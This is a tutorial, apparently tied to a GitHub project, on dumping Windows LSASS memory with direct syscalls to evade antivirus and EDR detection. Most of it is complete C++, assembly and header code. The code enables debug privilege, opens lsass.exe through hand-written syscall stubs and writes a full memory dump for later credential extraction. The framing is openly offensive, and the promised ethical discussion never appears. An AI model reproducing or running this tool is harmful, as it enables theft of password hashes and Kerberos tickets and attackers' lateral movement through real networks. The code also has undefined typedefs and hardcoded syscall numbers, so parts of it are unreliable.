Dumping LSASS with Direct Syscalls

Introduction

The Local Security Authority Subsystem Service (LSASS) is a critical process in Windows responsible for enforcing the security policy on the system. It handles authentication, password changes, and the generation of access tokens. Due to its vital role in managing credentials, LSASS has become a prime target for attackers who seek to extract sensitive information, such as password hashes and Kerberos tickets.

This article presents a guide on how to dump the memory of the LSASS process using direct syscalls, which can help evade detection by security tools that monitor traditional API calls. We will provide a detailed explanation of the code used to perform this operation and discuss the associated risks and ethical considerations.

What is LSASS?

LSASS (Local Security Authority Subsystem Service) is a process that manages various aspects of local security authority policies in Windows operating systems. It is responsible for handling user logins, password changes, and creating access tokens that are used by other processes to authenticate the users. The LSASS process also stores password hashes, which can be extracted if the process's memory is dumped. This makes LSASS a critical target for attackers aiming to collect credentials.

Why Dump LSASS?

Dumping the LSASS process's memory allows attackers to retrieve sensitive information such as password hashes, Kerberos tickets, and plaintext passwords (if stored in memory). This information can then be used to escalate privileges, perform lateral movement within the network, or conduct further attacks against other systems.

Security tools like antivirus (AV) and endpoint detection and response (EDR) solutions monitor LSASS closely. They typically detect and block attempts to access or dump its memory using known techniques. Direct syscalls offer a way to bypass such monitoring by directly interacting with the kernel without triggering these security mechanisms.

Implementing LSASS Dump with Direct Syscalls

The following code example demonstrates how to dump the memory of the LSASS process using direct syscalls. The code is split into three files:

  1. LsassDumpSyscall.cpp: The main C++ file that initializes the syscalls and creates the LSASS memory dump.

  2. syscall.asm: The assembly file defining the direct syscall routines.

  3. syscall.h: The header file containing the syscall prototypes and function pointer definitions.

LsassDumpSyscall.cpp

This C++ file contains the logic to find the LSASS process, enable the necessary privileges, and create a memory dump using direct syscalls.

#include "syscall.h"
#include <iostream>
#include <windows.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#include <tchar.h>

#pragma comment(lib, "Dbghelp.lib")

using namespace std;

#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)  // Manually define STATUS_SUCCESS if not already defined
#endif

void InitializeSystemCalls() {
    g_ZwOpenProcess = ZwOpenProcess10;
    g_ZwClose = ZwClose10;
    g_ZwWriteVirtualMemory = ZwWriteVirtualMemory10;
    g_ZwProtectVirtualMemory = ZwProtectVirtualMemory10;
    g_ZwQuerySystemInformation = ZwQuerySystemInformation10;
    g_NtCreateFile = NtCreateFile10;
}

bool IsElevated() {
    HANDLE hToken = NULL;
    TOKEN_ELEVATION elevation;
    DWORD dwSize;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
            CloseHandle(hToken);
            return elevation.TokenIsElevated != 0;
        }
        CloseHandle(hToken);
    }
    return false;
}

bool EnableDebugPrivilege() {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
            tp.PrivilegeCount = 1;
            tp.Privileges[0].Luid = luid;
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
                CloseHandle(hToken);
                return GetLastError() == ERROR_SUCCESS;
            }
        }
        CloseHandle(hToken);
    }
    return false;
}

DWORD GetLsassPID() {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(pe) };
    if (Process32First(hSnapshot, &pe)) {
        do {
            if (_tcsicmp(pe.szExeFile, _T("lsass.exe")) == 0) {
                CloseHandle(hSnapshot);
                return pe.th32ProcessID;
            }
        } while (Process32Next(hSnapshot, &pe));
    }
    CloseHandle(hSnapshot);
    return 0;
}

bool CreateMiniDump(HANDLE processHandle, DWORD processId) {
    HANDLE hFile = CreateFile(_T("c:\\temp\\lsass.dmp"), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "Failed to create dump file.\n";
        return false;
    }

    BOOL success = MiniDumpWriteDump(processHandle, processId, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
    CloseHandle(hFile);

    if (!success) {
        cout << "Failed to dump lsass.exe.\n";
        return false;
    }
    cout << "Dump created successfully.\n";
    return true;
}

int main() {
    InitializeSystemCalls();

    if (!IsElevated()) {
        cout << "You need elevated privileges to run this tool!\n";
        return 1;
    }

    EnableDebugPrivilege();

    DWORD lsassPID = GetLsassPID();
    if (lsassPID == 0) {
        cout << "Failed to find lsass.exe.\n";
        return 1;
    }

    HANDLE hLsass;
    OBJECT_ATTRIBUTES objAttr;
    CLIENT_ID clientId = { reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(lsassPID)), nullptr };

    InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
    NTSTATUS status = g_ZwOpenProcess(&hLsass, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &objAttr, &clientId);

    if (status != STATUS_SUCCESS) {
        cout << "Failed to open lsass.exe with error: " << hex << status << endl;
        return 1;
    }

    // Create a minidump of the lsass.exe process
    if (!CreateMiniDump(hLsass, lsassPID)) {
        g_ZwClose(hLsass);
        return 1;
    }

    g_ZwClose(hLsass);
    return 0;
}

syscall.asm

This assembly file defines the direct syscall routines. Each procedure corresponds to a specific syscall that interacts with the Windows kernel.

.CODE
ZwOpenProcess10 proc
    mov r10, rcx
    mov eax, 26h
    syscall
    ret
ZwOpenProcess10 endp

ZwClose10 proc
    mov r10, rcx
    mov eax, 0Fh
    syscall
    ret
ZwClose10 endp

ZwWriteVirtualMemory10 proc
    mov r10, rcx
    mov eax, 3Ah
    syscall
    ret
ZwWriteVirtualMemory10 endp

ZwProtectVirtualMemory10 proc
    mov r10, rcx
    mov eax, 50h
    syscall
    ret
ZwProtectVirtualMemory10 endp

ZwQuerySystemInformation10 proc
    mov r10, rcx
    mov eax, 36h
    syscall
    ret
ZwQuerySystemInformation10 endp

NtAllocateVirtualMemory10 proc
    mov r10, rcx
    mov eax, 18h
    syscall
    ret
NtAllocateVirtualMemory10 endp

NtFreeVirtualMemory10 proc
    mov r10, rcx
    mov eax, 1Eh
    syscall
    ret
NtFreeVirtualMemory10 endp

NtCreateFile10 proc
    mov r10, rcx
    mov eax, 55h
    syscall
    ret
NtCreateFile10 endp

end

syscall.h

This header file contains the prototypes for the syscalls and function pointer definitions.

#pragma once

#include <Windows.h>
#include <winternl.h>  // For original definitions of structures and types like CLIENT_ID

// Prototypes for the functions with the correct signatures
EXTERN_C NTSTATUS ZwOpenProcess10(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, CLIENT_ID* ClientId);
EXTERN_C NTSTATUS ZwClose10(HANDLE Handle);
EXTERN_C NTSTATUS ZwWriteVirtualMemory10(HANDLE ProcessHandle, PVOID BaseAddress, LPCVOID Buffer, SIZE_T BufferSize, PSIZE_T NumberOfBytesWritten);
EXTERN_C NTSTATUS ZwProtectVirtualMemory10(HANDLE ProcessHandle, PVOID* BaseAddress, SIZE_T* NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection);
EXTERN_C NTSTATUS ZwQuerySystemInformation10(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
EXTERN_C NTSTATUS NtCreateFile10(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO

_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);

// Global function pointers for dynamic resolution, if needed
PFN_ZwOpenProcess g_ZwOpenProcess = nullptr;
PFN_ZwClose g_ZwClose = nullptr;
PFN_ZwWriteVirtualMemory g_ZwWriteVirtualMemory = nullptr;
PFN_ZwProtectVirtualMemory g_ZwProtectVirtualMemory = nullptr;
PFN_ZwQuerySystemInformation g_ZwQuerySystemInformation = nullptr;
PFN_NtCreateFile g_NtCreateFile = nullptr;

How It Works

  1. Initialize Syscalls: The InitializeSystemCalls function maps the syscall numbers to their corresponding routines defined in the assembly file. This ensures that the correct syscall is invoked based on the system's architecture.

  2. Privilege Elevation: The tool first checks if it is running with elevated privileges using the IsElevated function. If not, it prompts the user to run the tool with the necessary permissions. It then attempts to enable the SeDebugPrivilege, which is required to interact with system processes like LSASS.

  3. Find the LSASS Process ID: The GetLsassPID function uses a snapshot of all running processes to locate the process ID of lsass.exe.

  4. Open LSASS Process: The tool then opens the LSASS process using the direct syscall ZwOpenProcess. This allows it to interact with the process's memory.

  5. Create a Memory Dump: The CreateMiniDump function uses the MiniDumpWriteDump function to create a dump of the LSASS process's memory and save it to a file. This dump can later be analyzed to extract sensitive information.

  6. Close Handles: Finally, the tool closes the handle to the LSASS process using the ZwClose syscall.

Conclusion

Direct syscalls offer a method to interact with the Windows kernel in a way that can bypass many security mechanisms. By implementing the code provided in this guide, you can create a tool that dumps the LSASS process's memory while potentially evading detection by modern security tools.

Github Link: https://github.com/CyberSecurityUP/LsassDumpSyscall/

Last updated